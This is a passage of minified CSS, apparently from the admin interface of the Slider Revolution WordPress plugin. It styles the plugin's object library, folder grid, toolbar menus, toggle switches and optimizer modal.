#797b7e; font-weight: 500; display: inline-block; margin-right: 25px; cursor: pointer; vertical-align: top } #obj_fil_favorite i.material-icons, #obj_updatefromserver i.material-icons { font-size: 17px; margin-right: 5px; } #obj_updatefromserver { margin-left: 20px; margin-right: 0px} #obj_fil_favorite:hover, #obj_updatefromserver:hover, #obj_fil_favorite.selected { color: #fff; } #ol_pagination_wrap { display: inline-block; margin-right:20px;} ._TPRB_ .ol_filter_listelement{ font-size: 17px; color: #797b7e; line-height: 30px; cursor: pointer; vertical-align: top; position: relative; font-weight: 500} ._TPRB_ .ol_filter_listelement:hover, ._TPRB_ .ol_filter_listelement.selected { color: #fff; } ._TPRB_ .filter_type_name, ._TPRB_ .filter_tag_name { text-transform: capitalize } ._TPRB_ .ol_filter_listelement i.material-icons { margin-right: 10px; } ._TPRB_ .filter_type_name,.ol_filter_listelement i.material-icons { line-height: 30px; vertical-align: top; display: inline-block } ._TPRB_ .filtergroup_opener { position: absolute; right: 0px; top: 0px; width: 30px; height: 30px; margin:0px; text-align: right; transform-origin: "50% 50%"} ._TPRB_ .ol_filter_group { margin: 0px; padding: 0px; display: none; } ._TPRB_ .ol_filter_type { margin-bottom: 10px; } ._TPRB_ .ol_filter_type.open .ol_filter_group { display: block; } ._TPRB_ .ol_filter_type.open .filtergroup_opener { transform: scaleY(-1); } ._TPRB_ li.ol_filter_listelement { padding-left: 40px; margin:5px 0px;} #objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_edit, #objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_delete, #objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_check, #objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_cancel { line-height:30px; font-size: 19px; margin-left: 0px; margin-right:0px; cursor: pointer; opacity: 0.5; display:none;position: absolute;right: -10px;z-index: 15; } #objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_check, #objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_edit { right: 15px; } #objectlibrary._TPRB_ .ol_filter_listelement:not(.inedit):hover i.material-icons.filter_tag_name_edit, #objectlibrary._TPRB_ .ol_filter_listelement:not(.inedit):hover i.material-icons.filter_tag_name_delete { display: inline-block;} #objectlibrary._TPRB_ .ol_filter_listelement.inedit:hover i.material-icons.filter_tag_name_check, #objectlibrary._TPRB_ .ol_filter_listelement.inedit:hover i.material-icons.filter_tag_name_cancel { display: inline-block;} #objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_edit:hover, #objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_delete:hover, #objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_check:hover, #objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_cancel:hover { opacity: 1; } #objectlibrary._TPRB_ .ol_filter_listelement span { max-width: 165px; white-space: nowrap} #objectlibrary._TPRB_ .ol_filter_listelement .ol_gradientbg { z-index: 10; position: absolute; background: linear-gradient(90deg, rgba(50,52,56,0) 0%, rgba(50,52,56,1) 40%); width: 60px; right: -25px; top: 0px; height: 30px; } #objectlibrary._TPRB_ .ol_filter_listelement:hover .ol_gradientbg { display: block; width: 120px; } #objectlibrary._TPRB_ .ol_filter_listelement input.filter_tag_name_input { z-index: 5; position: absolute; top: -2px; left: 29px; width: 165px; padding: 0px 10px; font-size: 17px; color: #fff; background: #323438; border: none; border-radius: 0px; display: none; outline: none; box-shadow: none; white-space: nowrap; max-width: 165px; overflow: hidden; } #objectlibrary._TPRB_ .ol_filter_listelement.inedit input.filter_tag_name_input { display: block; } .lilabuybutton, .lilabuybutton:visited { background: #5d34af; padding: 0px 35px; line-height: 35px !important; color: #fff !important; font-size: 15px; font-weight: 500; cursor: pointer; border-radius: 4px; text-decoration: none !important; display: inline-block; } .lilabuybutton:hover, .lilabuybutton:focus { filter: brightness(110%); color: #fff !important; } #buynow_notregistered { position: absolute; right: 174px; top: 8px; } /* OBJECT LIBRARY ITEMS */ ._TPRB_ .olibrary_custom_tagselector_wrap { width:120px; position: absolute; bottom:2px; right:0px; height:16px; line-height: 16px; vertical-align: top; box-sizing: border-box; padding:0px 5px;} ._TPRB_ .olibrary_item { width:267px; height: 210px; display: inline-block; margin: 0px 20px 20px 0px; background: #2a2c2f;position: relative; z-index: 20;vertical-align: top; } ._TPRB_ .olibrary_media_wrap { width: 267px; height: 150px; position: absolute; left:0px; top:0px;z-index:100; background-size: cover;background-position: center} ._TPRB_ .olibrary_media_wrap.patternbg { background:url(../images/light_pattern_2x.png); background-size:16px 16px; background-repeat:repeat; } ._TPRB_ .olibrary_media_wrap.obj_med_darkbg { background: #2a2c2f; } ._TPRB_ .ondarkpattern .olibrary_media_wrap, ._TPRB_ .olibrary_media_wrap.darkpattern { background:url(../images/dark_pattern_2x.png) !important; background-size:16px 16px; background-repeat:repeat; } ._TPRB_ .olibrary_media_wrap.lightpattern { background:url(../images/light_pattern_2x.png) !important; background-size:16px 16px; background-repeat:repeat; } ._TPRB_ .olibrary_media_style { width: 100%; height: 100%; position: absolute; top: 0px; left: 0px; display: block; background-size: cover} ._TPRB_ .olibrary_content_wrap { width: 267px; height: 60px; position: absolute;top: 150px; left:0px; background: #2a2c2f; box-sizing: border-box; padding: 5px 10px 0px;transition: all 0.3s; z-index: 101;} ._TPRB_ .olibrary_content_left { padding-right: 55px; box-sizing: border-box; display: block; position: relative} ._TPRB_ .olibrary_content_right { position: absolute; top:10px; right:10px;} ._TPRB_ .olibrary_media_overlay { width: 267px; height: 150px; position: absolute; top: 0px; left: 0px; background: rgba(0,109,210,0.75); z-index: 10; opacity: 0; transition: all 0.3s; z-index: 101} ._TPRB_ .olibrary_content_title { color:#b7bbc0; font-size: 15px; font-weight: 500; display: block; line-height: 25px; margin-bottom: 7px;transition: all 0.3s; width:230px; height:22px; overflow: hidden; margin-top:1px; overflow:hidden;} ._TPRB_ .olibrary_content_title_input { display:none;color: #fff;font-size: 15px;font-weight: 500;line-height: 25px;vertical-align: top;transition: all 0.3s;width: 230px; max-width:230px; overflow:hidden; height: 22px;overflow: hidden;position: absolute;top: 1px;left: -1px;padding: 0px 0px;outline: none;border: none; background:transparent;} ._TPRB_ .olibrary_content_type, ._TPRB_ .olibrary_content_info { border:1px solid transparent;line-height: 14px; height: 16px; box-sizing: border-box; padding:0px 3px; display: inline-block;vertical-align: top; margin-right: 5px; font-size:11px; text-transform: uppercase; font-weight: 500;transition: all 0.3s; pointer-events: none} ._TPRB_ .olibrary_edit_title_main { cursor: text} ._TPRB_ i.olibrary_favorit.material-icons, ._TPRB_ i.olibrary_edit_title.material-icons { color:rgba(255,255,255,0.25); font-size: 20px; box-sizing: border-box; text-align: center; cursor: pointer;transition: all 0.3s; z-index: 10} ._TPRB_ i.olibrary_favorit.material-icons:hover, ._TPRB_ i.olibrary_edit_title.material-icons:hover, ._TPRB_ i.olibrary_favorit.material-icons.selected { color: #fff; } ._TPRB_ .olibrary_item .olibrary_addimage_wrapper { display: block; text-align: center;top: 50%; position: absolute; left: 0px; width: 100%; height: 30px; transform: translateY(-50%); } ._TPRB_ .olibrary_item i.material-icons.ol_link_to_deeper, ._TPRB_ .olibrary_item .avtivationicon, ._TPRB_ .olibrary_item i.material-icons.ol_link_to_delete, ._TPRB_ .olibrary_item i.material-icons.ol_link_to_add, ._TPRB_ .olibrary_item i.material-icons.ol_link_to_view { cursor:pointer; text-align: center ; z-index: 20; width: 50px; height: 50px; line-height:50px !important; color:#006dd2; font-size:30px; position: absolute; top: 50px; left: 50%; margin-left: 5px; background: #fff; border-radius: 35px; display:none; box-shadow:0px 3px 10px 0px rgba(0,0,0,0.25); transition: all 0.3s; transform:translateX(30px);} ._TPRB_ .olibrary_item .avtivationicon { width: auto; font-size:15px; display: inline-block; height: 40px;line-height: 40px !important;padding: 0px 15px 0px 10px; white-space: nowrap; font-weight:600; margin: 0px; } ._TPRB_ .olibrary_item .avtivationicon i { font-size: 25px; margin-right: 10px; } ._TPRB_ .olibrary_item .ol_link_to_add_image { cursor:pointer; text-align: center; text-transform: uppercase; z-index: 20; width: 30px; height: 30px; line-height:30px !important; color:#006dd2; font-size:14px; font-weight:800; margin-right:5px; position: relative; background: #fff; border-radius: 15px; display:inline-block; opacity:0; box-shadow:0px 3px 10px 0px rgba(0,0,0,0.25); transition: all 0.3s; transform:translateY(20px);} ._TPRB_ .olibrary_item .ol_link_to_add_image:first-child { transition-delay: 0s; } ._TPRB_ .olibrary_item .ol_link_to_add_image:nth-child(2) { transition-delay: 0.05s; } ._TPRB_ .olibrary_item .ol_link_to_add_image:nth-child(3) { transition-delay: 0.1s; } ._TPRB_ .olibrary_item .ol_link_to_add_image:nth-child(4) { transition-delay: 0.15s; } ._TPRB_ .olibrary_item .ol_link_to_add_image:nth-child(5) { transition-delay: 0.2s; } ._TPRB_ .olibrary_item .ol_link_to_add_image:last-child { margin-right: 0px } ._TPRB_ .olibrary_item i.material-icons.ol_link_to_view, ._TPRB_ .olibrary_item i.material-icons.ol_link_to_delete { margin-left: -55px;transform:translateX(-30px); } ._TPRB_ .olibrary_item .threeicons i.material-icons.ol_link_to_view { margin-left: -85px; } ._TPRB_ .olibrary_item .threeicons i.material-icons.ol_link_to_add { margin-left: 35px; } ._TPRB_ .olibrary_item .threeicons i.material-icons.ol_link_to_deeper { margin-left: -25px; transform:translateY(30px) translateX(0px); } ._TPRB_ .olibrary_item .oneicon i.material-icons.ol_link_to_deeper, ._TPRB_ .olibrary_item .oneicon i.material-icons.ol_link_to_add { margin-left: -25px; transform:translateY(30px) translateX(0px);} ._TPRB_ .olibrary_item .avtivationicon { transform:translateY(30px) translateX(-50%); } ._TPRB_ .ol_svg_preview { text-align: center; position: absolute; top: 50%; left: 50%; transform: translateX(-50%) translateY(-50%); } ._TPRB_ .ol_svg_preview svg { width: 100px; height: 100px; } ._TPRB_ .ol_svg_preview .olibrary_media_wrap:not(.nosvgcoloring) svg path { fill:#000; } ._TPRB_ img.olib_png_obj { margin: auto; max-width: 100%;height: 150px;position: relative;display: block; } ._TPRB_ .oc_package { color: #2a2c2f;; background: #ffda00; } ._TPRB_ .oc_purple { color: #fff; background: #5e35b1; } ._TPRB_ .oc_pink { color: #fff; background: #f82c90; } ._TPRB_ .oc_blue { color: #fff; background: #006dd2; } ._TPRB_ .oc_orange { color: #fff; background: #ff7700; } ._TPRB_ .oc_red { color: #fff; background: #ff5858; } ._TPRB_ .oc_green { color: #fff; background: #1f9939; } ._TPRB_ .oc_cyan { color: #fff; background: #00c1d2; } ._TPRB_ .oc_gray { color: #62666a; background: transparent; border: 1px solid #414448; } ._TPRB_ .olti_green { color: #00ff00; } ._TPRB_ .olti_red { color: #ff0000; } ._TPRB_ .olti_icon.material-icons { font-size: 14px; line-height: 20px; margin-right: 5px; display: inline-block } #objectlibrary .olibrary_media_wrap i.fonticonobj, ._TPRB_ .olibrary_media_wrap i.fonticonobj { display: block; font-size:75px;line-height: 150px; text-align:center; color:#000;} ._TPRB_ .olibrary_media_wrap i.fonticonobj.material-icons { width: 100%;height: 100%;line-height: 150px !important;} ._TPRB_ .olibrary_item:hover { z-index: 40; } ._TPRB_ .olibrary_item.selected { z-index: 60 } ._TPRB_ .olibrary_item.selected i.material-icons.ol_link_to_deeper, ._TPRB_ .olibrary_item.selected i.material-icons.ol_link_to_add, ._TPRB_ .olibrary_item.selected i.material-icons.ol_link_to_view, ._TPRB_ .olibrary_item.selected i.material-icons.ol_link_to_delete, ._TPRB_ .olibrary_item:hover i.material-icons.ol_link_to_delete, ._TPRB_ .olibrary_item.selected .ol_link_to_add_image, ._TPRB_ .olibrary_item:hover i.material-icons.ol_link_to_deeper, ._TPRB_ .olibrary_item:hover i.material-icons.ol_link_to_add, ._TPRB_ .olibrary_item:hover .ol_link_to_add_image, ._TPRB_ .olibrary_item:hover i.material-icons.ol_link_to_view { opacity: 1; transform:translateX(0px) translateY(0px);} ._TPRB_ .olibrary_item:hover .avtivationicon { opacity: 1; transform:translateX(-50%) translateY(0px);} ._TPRB_ .olibrary_item.selected .olibrary_content_title, ._TPRB_ .olibrary_item.selected .olibrary_content_info, ._TPRB_ .olibrary_item:hover .olibrary_content_title, ._TPRB_ .olibrary_item:hover .olibrary_content_info { color: #fff; border-color: rgba(255,255,255,0.25); } ._TPRB_ .olibrary_item.selected .olibrary_content_type, ._TPRB_ .olibrary_item:hover .olibrary_content_type { background: #fff !important; color: rgba(0,109,210,1);} ._TPRB_ .olibrary_item.selected .olibrary_content_wrap , ._TPRB_ .olibrary_item:hover .olibrary_content_wrap { background: rgb(0,109,210); } ._TPRB_ .olibrary_item.selected .olibrary_media_overlay, ._TPRB_ .olibrary_item:hover .olibrary_media_overlay { opacity: 1 } ._TPRB_ .ol_template_info_wrap {background: #323438; padding:0px; position: absolute; overflow:hidden; top:0px; left:100%; z-index: 95; box-sizing: border-box; transform-origin: 0% 0%; width:0px;height:0px; color:#777c80; font-size: 14px; line-height: 20px; box-shadow:20px 0px 80px rgba(0,0,0,0.75); opacity:0;transform:translateX(20px);transition:opacity 0.6s, transform 0.3s, width 0s; overflow:hidden;} ._TPRB_ .to_the_left .ol_template_info_wrap { left: auto; right: 100%;transform:translateX(-20px); transform-origin: 100% 0%} ._TPRB_ .ol_template_info_wrap a, ._TPRB_ .ol_template_info_wrap a:focus, ._TPRB_ .ol_template_info_wrap a:visited { color: #b7bbc0; outline:none;} ._TPRB_ .ol_template_info_wrap a:hover { color: #006dd2;outline: none; } ._TPRB_ .ol_template_info_wrap.left_tiw { left: auto; right: 100%;transform:translateX(-20px); } ._TPRB_ .olti_title { color: #fff; font-size: 15px; line-height: 20px; margin-bottom: 10px; font-weight: 500 } ._TPRB_ .olti_title.nmb { margin-bottom: 0px } ._TPRB_ .olibrary_item.selected .ol_template_info_wrap { display:block; opacity: 1; transform: translateX(0px); width:340px; height:auto; padding:25px; } ._TPRB_ .olibrary_item.selected .ol_template_info_wrap.videopreview { padding: 0px !important; vertical-align: top; margin: 0px; width: 374px !important; } #obj_library_mediapreview { width: 100%; height: auto; pointer-events: none;display: block;} ._TPRB_ .olti_btn { background: #006dd2; color: #fff; font-size: 13px; line-height: 32px; font-weight: 400; padding: 0px 20px; border-radius: 4px; display: inline-block; box-sizing: border-box; vertical-align: top; cursor: pointer;} ._TPRB_ .olti_btn i.material-icons { line-height: 32px;margin-right: 10px; font-size: 17px; vertical-align: top} ._TPRB_ .olti_btn.notinstallable { pointer-events: none; background:#3a3e44; color:#777c80;} #ol_results .rsl_breadcrumb_wrap { display: block; width: 100%; margin-bottom: 0px; border-top: 1px solid #323438; padding-top:15px; margin-bottom: 45px } #ol_results .rsl_breadcrumb { display:inline-block; line-height:25px; vertical-align: top; color: #797b7e; font-size: 15px; margin-right:10px; cursor: pointer; font-weight: 500} #ol_results .rsl_breadcrumb i.material-icons { display:inline-block; line-height:25px; vertical-align: top; font-size: 25px; margin-right: 10px; } #ol_results .rsl_breadcrumb_div { display: inline-block; color: #797b7e; /*#323438;*/ margin-right: 10px; font-size: 25px; line-height: 25px; vertical-align: top } #ol_results .rsl_breadcrumb.warning { pointer-events:none;color:#eec700} #ol_results .rsl_breadcrumb:hover { color: #fff; } #ol_modulessorting { display: inline-block;vertical-align: top; } ._TPRB_ .olti_content .tponoffwrap { margin-top: 0px; margin-bottom: 10px; margin-right: 10px; } /*************************************/ /* OVERVIEW LIST OF ELEMENTS WRAPPER */ /*************************************/ #slider_folders_wrap .rs_library_element { margin-right: 0px; } .rs_library_element { width: 267px; height: 190px; display: inline-block; margin-right: 20px;margin-bottom: 20px; cursor: pointer; box-sizing: border-box; position: relative; background:#2a2c2f; z-index:50; vertical-align: top} .rs_library_element .rsle_footer { position: absolute; bottom: 0px; left: 0px; width:100%;height:40px; background:#2a2c2f;z-index: 5} .rs_library_element.selected, .rs_library_element:hover{ z-index: 100; } .rs_library_element.ui-draggable-dragging { z-index: 200000 !important; position: absolute; pointer-events: none; opacity:0.80 !important;} .rs_library_element.ui-draggable-dragging .rsle_tbar {display: none !important; } .rs_library_element .link_to_slideadmin, .rs_library_element .image_container { width: 100%; height: 150px; position: absolute; top: 0px;left: 0px; display: block; z-index: 10; background-size:cover; background-position: center center; background-repeat: no-repeat} .rs_library_element .image_container_underlay { z-index: 9; background: #2a2c2f; top: 0px;left: 0px; width: 100%;height: 150px; position: absolute } .rs_library_element .image_container_underlay .rootfolder { background: #2a2c2f; top: 0px;left: 0px; width: 100%;height: 150px; position: absolute } .rs_library_element .image_container_underlay .rootfolder i.material-icons { font-size: 50px; text-align: center; color: #62666a; display: block; line-height: 50px !important; margin-bottom: 10px; width: 100%; margin-top: 45px; } .folder_library_element .image_container_underlay { background: #2a2c2f; } .folder_library_element:hover, .folder_library_element.selected, .folder_library_element.menuopen {background:#006dd2; } .folder_library_element:hover .image_container_underlay, .folder_library_element.selected .image_container_underlay, .folder_library_element.menuopen .image_container_underlay {background:#006dd2; } .folder_img_placeholder { display: inline-block; width: 126px; height: 68px; background: #323438; vertical-align: top; background-size: cover; background-position: center center; background-repeat: no-repeat } .folder_library_element.menuopen .folder_img_placeholder, .folder_library_element.selected .folder_img_placeholder, .folder_library_element:hover .folder_img_placeholder { background-color: #00529d; } .rs_library_element.folder_library_element .link_to_slideadmin { background: transparent !important; opacity: 0; width: 100%;height: 150px;top: 0px;left: 0px; margin: 0px; } .folder_img_1, .folder_img_3 { margin-right: 5px; margin-left: 5px; } .folder_img_1, .folder_img_2 { margin-bottom: 5px; margin-top:5px;} .folder_library_element .show_rsle { opacity: 0 !important } .rs_library_element .link_to_slides_overview, .rs_library_element .link_to_slideadmin {text-align: center ; z-index: 20; width: 50px; height: 50px; position: absolute; top: 50px; left: 50%; margin-left: -25px; background: #fff; border-radius: 35px; display:none; box-shadow:0px 3px 10px 0px rgba(0,0,0,0.25);} .rs_library_element:hover .link_to_slides_overview, .rs_library_element:hover .link_to_slideadmin, .rs_library_element.selected .link_to_slideadmin, .rs_library_element.menuopen .link_to_slideadmin { display: block; } .rs_library_element .link_to_slides_overview i.material-icons, .rs_library_element .link_to_slideadmin i.material-icons{ font-size: 30px; color: #006dd2; line-height: 50px !important; } .rs_library_element .title_container { width: 245px; height: 40px; font-weight:500; line-height: 40px; position: absolute; bottom: 0px; left: 0px; font-size: 15px; color: #b7bbc0; padding: 0px 10px; background: transparent;box-sizing: border-box; border:none; outline:none; box-shadow: none; z-index: 2; margin:0px;} .rs_library_element .title_container_overlay { width: 100%; height: 40px; line-height: 40px; position: absolute; bottom: 0px; left: 0px; background: transparent; z-index: 5; } .rs_library_element.selected .title_container, .rs_library_element.selected .rsle_folder, .rs_library_element.menuopen .title_container, .rs_library_element.menuopen .rsle_folder, .rs_library_element:hover .title_container, .rs_library_element:hover .rsle_folder { color: #fff; } .rs_library_element .rsle_move_and_edit { position: absolute; top: 0px; left: 0px; width: 100%; height: 165px; z-index: 15; background:transparent; cursor:move;} .rs_library_element:hover .rsle_move_and_edit, .rs_library_element.selected .rsle_move_and_edit, .rs_library_element.menuopen .rsle_move_and_edit { background: #006dd2; opacity: 0.65; } .rs_library_element.selected .rsle_footer, .rs_library_element.menuopen .rsle_footer, .rs_library_element:hover .rsle_footer { position: absolute; bottom: 0px; left: 0px; width:100%;height:40px; background:#006dd2; z-index: 5} .show_rsle { position:absolute; color:#fff; font-size:20px; text-align: right; padding-right: 10px; box-sizing: border-box;line-height:40px !important; width: 100%; background: transparent; height: 40px; bottom: 0px; right: 0px; z-index: 20; display: none !important; } .rsle_folder { position: absolute;bottom: 0px;right: 0px;width: 100%;height: 40px;color: #b7bbc0;z-index: 20;font-size: 20px;line-height: 40px;text-align: right; padding-right:10px;} .rs_library_element.menuopen .show_rsle, .rs_library_element:hover .show_rsle { display: block !important; } .rs_library_element.selected .show_rsle { transform: scaleY(-1); transform-origin: "50% 50%"; width: 40px; } .rs_library_element.selected .rsle_folder { width: 40px; } .folder_library_element .rsle_tool.copyclipboard, .folder_library_element .rsle_tool.exportslider, .folder_library_element .rsle_tool.duplicateslider, .folder_library_element .rsle_tool.previewslider { display: none; } ._TPRB_ .ov-pagination { display: inline-block; margin-right: 20px; } ._TPRB_ .page_button { font-size: 17px;color: #797b7e; font-weight: 500; display: inline-block; line-height: 30px; width: 30px; height: 30px; margin-top: 10px; margin-right: 5px; text-align: center; cursor: pointer} ._TPRB_ .page_button.selected, ._TPRB_ .page_button:hover { background:#006dd2; color: #fff; } /**************************** - END OBJECT LIBRARY - ****************************/ .rs_close_advert { position: absolute; top:-30px;right:0px;line-height: 30px; padding: 0px 10px; color: #62666a; font-size: 14px; font-weight: 600; cursor: pointer; background:#2a2c2f; } .rs_close_advert:hover { color: #fff;background: #006dd2; } /***************************** - SELECT 2 *****************************/ /* TOOLBAR WRAPS AND BUTTONS */ .outicon_dd_rwap, .tool_dd_wrap { display: none; position: absolute; z-index: 10000; background: #2a2c2f; left:0px;top:50px; text-align: left; box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5); max-width:250px;} .toolbar_btn { color:#b7bbc0; font-size: 14px; line-height: 50px; padding:0px 10px; text-align: left; display: inline-block; cursor: pointer; position: relative; font-weight: 500; height: 50px; vertical-align: top} .toolbar_btn>i.material-icons, .toolbar_btn.justicon { width: 30px; padding: 0px; box-sizing: border-box;text-align: center; } .toolbar_btn .material-icons { font-size: 16px; margin-right: 10px; } .toolbar_btn.justicon .icon_switcher .material-icons { margin-right: 0px } .toolbar_btn .selected_placeholder .material-icons { font-size: 17px; margin-right: 0px; } .toolbar_btn i.toptoolbaricon.material-icons { margin-right: 0px; width:30px; text-align: center; font-size: 20px} .toolbar_btn:hover { color: #fff;} #_layer_settings .tool_dd_wrap .add_layer, .tool_dd_wrap .add_slide, .tool_dd_wrap .rc-menu-item { padding-left: 20px; } .visiblestep_main:hover, .lockstep_main:hover, .outicon_dd_rwap .lockstep:hover, .outicon_dd_rwap .visiblestep:hover, .toolbar_dd_subdrop_wrap:hover >.add_layer, .toolbar_dd_subdrop_wrap:hover >.add_slide, .toolbar_dd_subdrop_wrap:not(.disabled):hover >.rc-menu-item, .tool_dd_wrap .add_layer:hover, .tool_dd_wrap .rc-menu-item:hover { background: #3F444D; } .tool_dd_wrap .add_layer .material-icons, .tool_dd_wrap .rc-menu-item .material-icons, .tool_dd_wrap .add_slide .material-icons { font-size: 17px; margin-right:10px;} .toolbar_btn:hover .tool_dd_wrap { display: block; min-width: 100%;} .toolbar_btn.tool_drop:hover { border-radius: 4px 4px 0px 0px } .toolbar_dd_subdrop_wrap:hover >.add_layer, .toolbar_dd_subdrop_wrap:not(.disabled):hover >.rc-menu-item, .tool_dd_wrap .add_layer:hover, .tool_dd_wrap .rc-menu-item:hover { color: #fff; opacity: 1} .toolbar_dd_subdrop_wrap:hover >.add_slide, .tool_dd_wrap .add_slide:hover { color: #fff; opacity: 1; background:#3f444a;} .outicon_dd_rwap { left: -15px; background: #323438; } .tool_dd_wrap.fittoright { left: auto; right: 0px;padding-top: 10px; } .outicon_dd_rwap .lockstep, .outicon_dd_rwap .visiblestep, .tool_dd_wrap .add_layer, .tool_dd_wrap .rc-menu-item, .outicon_dd_rwap .visiblestep_main, .outicon_dd_rwap .lockstep_main, .add_slide { color:#b7bbc0; cursor: pointer; padding:0px 20px; white-space: nowrap; line-height: 30px; font-size: 13px} .toolbar_dd_subdrop { display: none; position: absolute; left: 100%; top: 0px;background: #2a2c2f; box-shadow: 0px 3px 10px 0px rgba(0,0,0,0.25); white-space: nowrap} .toolbar_dd_subdrop_wrap { position: relative} .toolbar_dd_subdrop_wrap:not(.disabled):hover .toolbar_dd_subdrop { display: block; } .toolbar_listelement.disabled, .rc-menu-item.disabled { opacity:0.5; cursor: default !important; pointer-events: none} .rc-menu-wrap {position: absolute; z-index: 999999} .rc-align-right .toolbar_dd_subdrop {left: auto; right: 100%;} .rc-align-right .toolbar_dd_subdrop {left: auto; right: 100%;} .rc-align-bottom .toolbar_dd_subdrop {top: auto; bottom: 0;} .wp-block[data-type="themepunch/revslider"] .editor-block-toolbar > .components-toolbar svg {color: white; margin-right: 0} /* hide visual composer block */ li[data-element='rev_slider_vc'] {display: none !important} input[data-setting="revslidertitle"] { pointer-events: none; user-select: none; } /********************* ON OFF BUTTON **********************/ .tponoffwrap *, .tponoffwrap {user-select:none} .tponoffwrap, .fake_on_button { cursor:pointer;display:inline-block; vertical-align:top; position:relative; width: 50px;height: 20px;line-height: 20px; border-radius: 10px; overflow: hidden; background: #006dd2; box-sizing: border-box;margin-bottom: 15px; margin-top:5px; transform:translateZ(0.001px);} .tponoff_inner, .fake_on_button_inner { cursor:pointer;width: 120px;height: 20px;top: 0px;left: 0px; line-height: 25px; vertical-align: top; transform: translateX(-50px); transition:0.3s;} .fake_onff_on, .tponoff_on { position:absolute;top: 0px;left: 51px;width: 50px;height: 20px;background: #006dd2;padding: 0px 11px;color: #fff;font-weight: 400; box-sizing: border-box; font-size: 11px;line-height:20px; text-align: right;text-transform: uppercase} .fake_onff_off, .tponoff_off { position:absolute;top: 0px;left: 0px;width: 50px;height: 20px;background: #2a2c2f; padding: 0px 8px;color: #777c80;font-weight: 400; box-sizing: border-box; font-size: 11px;line-height: 20px;text-transform: uppercase; text-align: left} .fake_onff_on:after, .tponoff_on:after { content:" ";width: 12px;height: 12px; position: absolute;left: 4px;top: 4px; border-radius: 50%;background: #fff; box-sizing: border-box; } .fake_onff_off:after, .tponoff_off:after { content:" ";width: 12px;height: 12px; position: absolute;left: 32px;top: 4px; border-radius: 50%;background: #6a6f72; box-sizing: border-box; } .tponoffwrap input { display: none; } .tponoffwrap.off { background: #2a2c2f; } #rbm_addon_details .tponoffwrap.off .tponoff_inner, #rb_tlw .tponoffwrap.off .tponoff_inner, #rbm_blocksettings .tponoffwrap.off .tponoff_inner, ._TPRB_ .tponoffwrap.off .tponoff_inner, #rs_overview .tponoffwrap.off .tponoff_inner { transform: translateX(0px); } .onoff_showonlystatus .tponoff_on, .fake_on_button, .fake_onff_on { background: #3f444a; } .onoff_showonlystatus .tponoffwrap { background: transparent; } .on_off_navig_wrap { position: absolute; top: 5px;right: 0px; background: transparent; width: 60px;height: 30px; z-index: 1015; } .onoff_showonlystatus { pointer-events: none; display: inline-block} #obj_addsliderasmodal {display: none; margin-left: 19px; margin-right: 0} #obj_addsliderasmodal .tponoffwrap {margin: 0 0 0 10px; position: relative; top: 15px} .revslider_block > span i {display: none; position: relative; top: 5px; margin-right: 7px} .revslider_block[data-modal="true"] > span i {display: inline-block} @media only screen and (max-width : 820px) { #ol_footer { padding-left: 300px; } } /******************+ - OPTIMIZER MODAL - ********************/ .div40 { display: block;height: 40px;width: 100%; } .rb-modal-wrapper { display: none; } #rbm_optimizer, #rbm_optimizer_infos_wrap, #rbm_optimizer_infos_wrap *, #rbm_optimizer * { -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; -moz-osx-font-smoothing: grayscale; } #rbm_optimizer_infos_wrap {background:rgba(50,52,56,0.5);} #rbm_optimizer { width: 1040px; min-width: 1040px; max-height: 660px; } #rbm_optimizer .rbm_content { max-height: 460px; width: 100%; position: relative; overflow: hidden; position: relative; padding:0px 25px 0px; box-sizing: border-box; background:#212226;} #rbm_optimizer .rbm_header_content { width: 100%; position: relative; position: relative; padding:20px 25px 2px; box-sizing: border-box; background:#212226;} #rbm_optpanel_savebtn { background: #22a46e; border-radius: 0px; white-space: nowrap; width: 240px; position: absolute; bottom:0px; right:0px; vertical-align: top; margin:0px; font-size:15px;} #rbm_optimizer .rbm_footer { background: #166b48; border-top:20px solid #212226; height:50px; width:100%; position: absolute; bottom:-70px; left:0px; vertical-align: top;box-sizing: content-box;} #opt_summary { width: 500px; height: 50px; padding: 0px 20px; box-sizing: border-box; line-height: 50px; color: #fff; vertical-align: top; position: absolute; right:240px; bottom:0px; border-left:1px solid rgba(255,255,255,0.15);} #optimizer_compression {width: 300px; height: 50px; padding: 10px 20px; box-sizing: border-box; line-height: 50px; color: #fff; vertical-align: top; position: absolute; left:0px; bottom:0px; border-left:1px solid rgba(255,255,255,0.15);} #optimizer_compression a { color: #fff !important; text-decoration: none } #optimizer_compression a i.material-icons { color:#fff; font-size: 17px; margin-left:10px; opacity: 0.5;} #optimizer_compression a:hover i.material-icons { opacity: 1 } #optimizer_compression .opt_loaded_subtitle a { color: rgba(255,255,255,0.65) !important;} #optimizer_compression .opt_loaded_subtitle a:hover { text-decoration: underline; color: #fff !important; } #optimizer_fullsize { display: inline-block; font-size: 20px; font-weight: 700; line-height: 30px; vertical-align: top; width: 80px; } #optimizer_cachedsize { display: inline-block; font-size: 13px;font-weight: 400;line-height: 15px;color: rgba(255,255,255,0.65); position: absolute; left: 20px; text-align: left; top:26px;} .optimier_footerinfo { display: inline-block; padding: 10px 0px 10px 20px; vertical-align: top;} .opt_loaded_title { font-size: 14px; font-weight: 700; line-height: 15px; text-transform: uppercase } .opt_loaded_subtitle { font-size: 13px; font-weight: 400; line-height: 15px; color: rgba(255,255,255,0.65); } ._TPRB_ .optim_row { display: block; border-bottom: 1px solid #323438; line-height: 40px} ._TPRB_ .optim_row.noborder { border-bottom: none; } ._TPRB_ .optim_cell { display: inline-block; line-height: 40px; vertical-align: top; box-sizing: border-box; color:#b7bbc1; font-size:13px; font-weight: 500; position: relative} ._TPRB_ .optim_title { font-size: 14px; font-weight: 700; color: #b7bbc0;text-transform: uppercase; } ._TPRB_ .optim_subtitles { display: block; line-height: 12px; font-size: 11px; font-weight: 900; color: #797b7e;position: absolute; top:30px; left:0px; width:410px;} ._TPRB_ .optim_subtitle { display: inline-block; vertical-align: top; } ._TPRB_ .op_c_a { 